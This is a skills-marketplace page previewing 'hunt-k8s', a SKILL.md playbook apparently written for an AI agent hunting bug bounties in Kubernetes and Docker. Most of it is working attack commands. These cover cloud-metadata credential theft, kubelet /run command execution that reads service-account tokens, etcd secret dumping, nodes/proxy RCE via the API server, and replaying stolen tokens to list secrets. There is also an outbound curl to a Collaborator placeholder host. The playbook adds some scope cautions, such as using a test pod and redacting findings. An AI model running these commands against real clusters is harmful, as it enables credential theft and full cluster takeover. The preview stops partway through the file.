Skip to main content

hunt-k8s

Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.

ソース情報

リポジトリ
elementalsouls/Claude-BugHunter
ソースの最終更新活動
2026年8月24日 22:01
検出された SKILL.md の言語
英語
スター
4,779
フォーク
718

インストール方法

デフォルトでは、最初にソースを確認する Prompt が選択されています。直接コマンドに切り替えるか、ローカルコピーをダウンロードすることもできます。

ソースファイルを確認

インストールを決める前に、SKILL.md と SkillsMP に表示されている付属ファイルをお読みください。

SKILL.md を表示中

SKILL.md
ソースの指示 · 読み取り専用プレビュー
name
hunt-k8s
description
Hunt Kubernetes & Docker — API anonymous access, kubelet 10250 exec (SPDY/WebSocket, NOT plain POST) and the simpler /run primitive, etcd 2379 unauth, dashboard skip-login, RBAC misconfig, secret/SA-token abuse, docker.sock host escape, runc/container-escape (Leaky Vessels CVE-2024-21626), API-server-mediated nodes/proxy RCE, EphemeralContainers node-shell, bound/projected SA-token audience+expiry abuse, admission-controller bypass, Helm/Tiller remnants. Use when target runs containerized infra, exposes K8s ports (6443/10250/10255/2379/8443), or cloud metadata reveals K8s service accounts.
sources
hackerone_public, cve_database, kubernetes_security_research, portswigger_research
report_count
13
# HUNT-K8S — Kubernetes & Docker Security ## Crown Jewel Targets K8s API anonymous cluster-admin = full cluster control. docker.sock + RCE = host root. A single privileged-pod create or a kubelet `/run` shell pivots one finding to total compromise. **Highest-value findings:** - **K8s API anonymous cluster-admin** — `system:anonymous`/`system:unauthenticated` bound to a powerful role (classic misconfig: `system:anonymous` in a `ClusterRoleBinding` to `cluster-admin`) → full `kubectl`. Mere anonymous `200` is NOT this (see false-positive section). - **Kubelet `10250` exec/run** — `/run` returns command output directly; `/exec` is a SPDY/WebSocket stream (see Phase 3). Either → RCE in any pod → steal that pod's SA token. - **API-server-mediated kubelet RCE** — `/api/v1/nodes/<node>/proxy/run/...` reaches the kubelet *through* the API server using your (low-priv) token; if RBAC grants `nodes/proxy`, you get pod RCE without touching 10250 directly. Primary 2024-2026 vector. - **etcd `2379` unauth** — every Secret (SA tokens, TLS keys, app creds) stored, often plaintext (unless `EncryptionConfiguration` is set) → full credential dump. - **docker.sock exposure** — SSRF/LFI/RCE reaching `/var/run/docker.sock` → create `--privileged` container, bind-mount host `/` → host root. - **Container escape via runc** — Leaky Vessels (CVE-2024-21626): `WORKDIR`/`process.cwd` pointing at a leaked `/proc/self/fd/<n>` host FD → break out of an attacker-controlled image/exec to host root. - **SA token abuse** — auto-mounted token at `/var/run/secrets/kubernetes.io/serviceaccount/token`; check its real grants with SelfSubjectRulesReview before claiming impact. - **K8s Dashboard skip-login / token-less API** — full cluster management UI reachable unauthenticated. --- ## OOB / Confirmation Gate (Read First) K8s findings are RCE/credential-disclosure class. House rule: **prove state change or data read, never infer from a status code.** - A `200` on `/api/v1/namespaces` does **not** mean cluster-admin. The API server returns `200` with an RBAC-filtered (often empty `items: []`) list to *any* principal that can reach `list namespaces` — anonymous read on a few resources is common and low-impact. Confirm real privilege with **SelfSubjectRulesReview / SelfSubjectAccessReview**, then by actually reading a Secret value. - **10255 (read-only) vs 10250 (exec)** are constantly conflated. 10255 (HTTP, no auth) is info-disclosure only — it has `/pods`, `/stats`, `/metrics`, NO exec/run. 10250 (HTTPS) is where `/run` and `/exec` live. Do not report "kubelet RCE" off a 10255 hit. - **Blind/outbound vectors need OOB.** If you exploit SSRF→IMDS→K8s, or a pod's egress, confirm the outbound hop with a Burp Collaborator / interactsh subdomain (e.g. `curl http://<token>.<collab>` from inside the pod via `/run`). A delayed response or an echoed URL is NOT proof. - **Impact proof = the artifact.** For exec: the literal `id`/`hostname` output. For etcd/Secret: the decoded token bytes (redact in report). For docker.sock escape: the host file content (`/etc/hostname` of the node, distinct from the container's). - Use a **dedicated test namespace / test pod** when you have create rights; never exec into production workloads to "prove" RCE — list the pod and exec a read-only `id` in a pod you spun up if policy allows, or limit to a single non-destructive `id` and stop. --- ## Phase 1 — Fingerprint & Port Discovery ```bash # Common Kubernetes / container ports PORTS="443,6443,8443,8080,10250,10255,10256,2379,2380,4194,9090,9100,30000-30010" nmap -sV -p $PORTS $TARGET 2>/dev/null | grep open # API server fingerprint — the /version endpoint is anonymous on most clusters curl -sk "https://$TARGET:6443/version" # {"major":"1","minor":"29","gitVersion":"v1.29.x"...} curl -sk "https://$TARGET:6443/api" # APIVersions list, even pre-auth curl -sk "https://$TARGET:6443/healthz" # Cloud metadata pivot (reach K8s SA / node creds from an SSRF foothold) curl -s "http://169.254.169.254/latest/meta-data/iam/security-credentials/" # AWS EKS (IMDSv1) TOK=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 60") # IMDSv2 curl -s -H "X-aws-ec2-metadata-token: $TOK" "http://169.254.169.254/latest/meta-data/iam/security-credentials/" curl -s "http://169.254.169.254/metadata/instance?api-version=2021-02-01" -H "Metadata: true" # Azure AKS curl -s "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token" -H "Metadata-Flavor: Google" # GKE ``` Note the `gitVersion` — it gates every CVE below. --- ## Phase 2 — Kubernetes API Anonymous / Low-Priv Access ```bash SRV="https://$TARGET:6443" # 1. What am I? (anonymous → "system:anonymous") curl -sk "$SRV/apis/authentication.k8s.io/v1/selfsubjectreviews" -X POST \ -H 'Content-Type: application/json' \ -d '{"apiVersion":"authentication.k8s.io/v1","kind":"SelfSubjectReview"}' # 2. What can I actually DO? (the only honest privilege check) curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \ -H 'Content-Type: application/json' \ -d '{"kind":"SelfSubjectRulesReview","apiVersion":"authorization.k8s.io/v1","spec":{"namespace":"default"}}' # 3. Targeted access check for the crown-jewel verbs for R in secrets pods nodes/proxy pods/exec; do curl -sk "$SRV/apis/authorization.k8s.io/v1/selfsubjectaccessreviews" -X POST \ -H 'Content-Type: application/json' \ -d "{\"kind\":\"SelfSubjectAccessReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"resourceAttributes\":{\"verb\":\"create\",\"resource\":\"${R%%/*}\",\"subresource\":\"${R#*/}\"}}}" \ | grep -o '"allowed":[a-z]*' | sed "s#^#$R #" done # 4. Only if access review says allowed — read a real Secret to prove impact curl -sk "$SRV/api/v1/secrets" | python3 -c 'import sys,json;d=json.load(sys.stdin);print(len(d.get("items",[])),"secrets")' # decode one value (redact before reporting): # echo '<base64>' | base64 -d ``` **CVE-2018-1002105** (`gitVersion` < v1.10.11/1.11.5/1.12.3): API-server proxy upgrade flaw lets an unauthenticated/low-priv user escalate to backend (kubelet/aggregated-API) requests with API-server identity → cluster-admin. Fingerprint `gitVersion` in Phase 1; if vulnerable this is the single highest-impact finding. --- ## Phase 3 — Kubelet (Port 10250) — `/run` First, `/exec` Done Right The earlier version of this skill sent `/exec` as a plain `POST` and expected `id` output back. **That is wrong.** `/exec` is a SPDY/WebSocket *streaming* endpoint: a plain POST returns a **302 redirect to a stream location** (e.g. `/cri/exec/<token>`) that you then must read with a SPDY/WebSocket client. An operator who runs the old curl sees nothing and wrongly concludes the kubelet is patched. ```bash SRV="https://$TARGET:10250" # Enumerate pods (auth varies; many kubelets allow anonymous read here) curl -sk "$SRV/pods" | python3 -m json.tool 2>/dev/null \ | grep -E '"namespace"|"name"|"containerName"' | head -40 NS=default; POD=target-pod; CTR=app # --- PRIMITIVE A: /run — returns command output DIRECTLY (no stream handling) --- # This is the simple correct primitive. Use this first. curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=id" curl -sk -X POST "$SRV/run/$NS/$POD/$CTR" -d "cmd=cat /var/run/secrets/kubernetes.io/serviceaccount/token" # --- PRIMITIVE B: /exec — SPDY/WebSocket stream, NOT a plain POST --- # Option 1: kubeletctl handles the stream transport for you (recommended) # kubeletctl --server $TARGET exec "id" -p $POD -c $CTR -n $NS # kubeletctl --server $TARGET scan rce # finds every exec-able pod # Option 2: raw — the POST returns a 302 to a stream path; -v to see Location, then # read it with a SPDY3.1/WebSocket client (wscat / websocat), e.g.: # curl -sk -i -X POST "$SRV/exec/$NS/$POD/$CTR?command=id&input=1&output=1&tty=0" # shows 302 Location # websocat -k "wss://$TARGET:10250/cri/exec/<token-from-Location>" # Container logs (read-only, no stream) curl -sk "$SRV/containerLogs/$NS/$POD/$CTR" # Read-only kubelet 10255 — INFO DISCLOSURE ONLY, no exec/run. Do not call this "RCE". curl -s "http://$TARGET:10255/pods" | python3 -m json.tool 2>/dev/null | head curl -s "http://$TARGET:10255/metrics" | head ``` **CVE-2020-8558** (host-network trust): on affected kube-proxy, services bound to the node's `127.0.0.1` (incl. the read-only kubelet and other localhost-only services) become reachable from other pods/adjacent hosts via the node IP, defeating the localhost trust boundary — a lateral path to kubelet/etcd that were assumed loopback-only. --- ## Phase 4 — API-Server-Mediated Kubelet RCE (`nodes/proxy`) When 10250 is firewalled but you hold a token (even a low-priv pod SA) with `nodes/proxy`, route exec **through the API server**: ```bash SRV="https://$TARGET:6443"; H="-H \"Authorization: Bearer $TOKEN\"" NODE=$(curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes" | grep -o '"name":"[^"]*"' | head -1 | cut -d'"' -f4) # /run via the node proxy → output comes straight back curl -sk -X POST -H "Authorization: Bearer $TOKEN" \ "$SRV/api/v1/nodes/$NODE/proxy/run/$NS/$POD/$CTR" -d "cmd=id" # enumerate every pod on a node via the proxy curl -sk -H "Authorization: Bearer $TOKEN" "$SRV/api/v1/nodes/$NODE/proxy/pods" ``` `nodes/proxy` in any bound role is effectively node-wide RCE. **CVE-2022-3294** (kube-apiserver node-address validation): an authenticated user could redirect the API server's proxy connection to an arbitrary host/IP it could reach (proxy-to-internal SSRF / node impersonation) — relevant whenever you can influence node addresses or use the proxy subresource. --- ## Phase 4b — Ingress-NGINX "IngressNightmare" (CVE-2025-1974) An unauthenticated attacker who can reach the ingress-nginx admission controller (`:8443`, usually cluster-internal but sometimes exposed) injects arbitrary NGINX config via a crafted `AdmissionReview` for an Ingress object -> RCE in the controller pod, whose service account is powerful -> full cluster compromise. Fingerprint controller version (`/healthz`, pod image tag) and map to <1.11.5 / <1.12.1. (CVE-2025-1974 with CVE-2025-1097/1098/24513/24514.) ## Phase 5 — etcd Unauth (Port 2379) ```bash # etcd holds ALL cluster state. Secrets are plaintext UNLESS EncryptionConfiguration is set. ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 get / --prefix --keys-only 2>/dev/null | head -50 ETCDCTL_API=3 etcdctl --endpoints=http://$TARGET:2379 \ get /registry/secrets --prefix 2>/dev/null | strings | grep -Ei 'token|password|tls.key|dockerconfig' | head -40 # HTTP/JSON gateway (key/range are base64; "Lw==" == "/") curl -s "http://$TARGET:2379/v3/kv/range" -H 'Content-Type: application/json' \ -d '{"key":"L3JlZ2lzdHJ5L3NlY3JldHM=","range_end":"L3JlZ2lzdHJ5L3NlY3JldHQ=","limit":20}' | python3 -m json.tool # v2 (older clusters) curl -s "http://$TARGET:2379/v2/keys/?recursive=true" | python3 -m json.tool 2>/dev/null | head ``` A recovered SA token from etcd → replay against the API server (Phase 6) to confirm grants. **False positive:** a `200` from etcd peer port `2380` or a TLS-required port returning a handshake error is not unauth client access — only a successful `range`/`get` with key data is. --- ## Phase 6 — Service Account Token Abuse (Bound / Projected Tokens) ```bash # From RCE/LFI inside a pod: TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace) API="https://kubernetes.default.svc" # Modern tokens are BOUND (projected): they have an audience + short expiry. DECODE before claiming reuse. echo "$TOKEN" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | python3 -m json.tool # Look at: "aud" (must match the API server audience to be accepted), # "exp" (projected tokens rotate ~1h — a captured token may already be dead), # "kubernetes.io/serviceaccount" (pod/node binding — token dies with the pod). # If aud is e.g. ["vault"] not the api-server audience, it will NOT authenticate to the API → not cluster impact. # Honest privilege check, then prove with a real read curl -sk "$API/apis/authorization.k8s.io/v1/selfsubjectrulesreviews" -X POST \ -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' \ -d "{\"kind\":\"SelfSubjectRulesReview\",\"apiVersion\":\"authorization.k8s.io/v1\",\"spec\":{\"namespace\":\"$NS\"}}" curl -sk "$API/api/v1/namespaces/$NS/secrets" -H "Authorization: Bearer $TOKEN"
GitHubで見る
この SKILL.md は非常に大きいため、SkillsMP では最初のセクションだけを表示しています。 GitHubで見る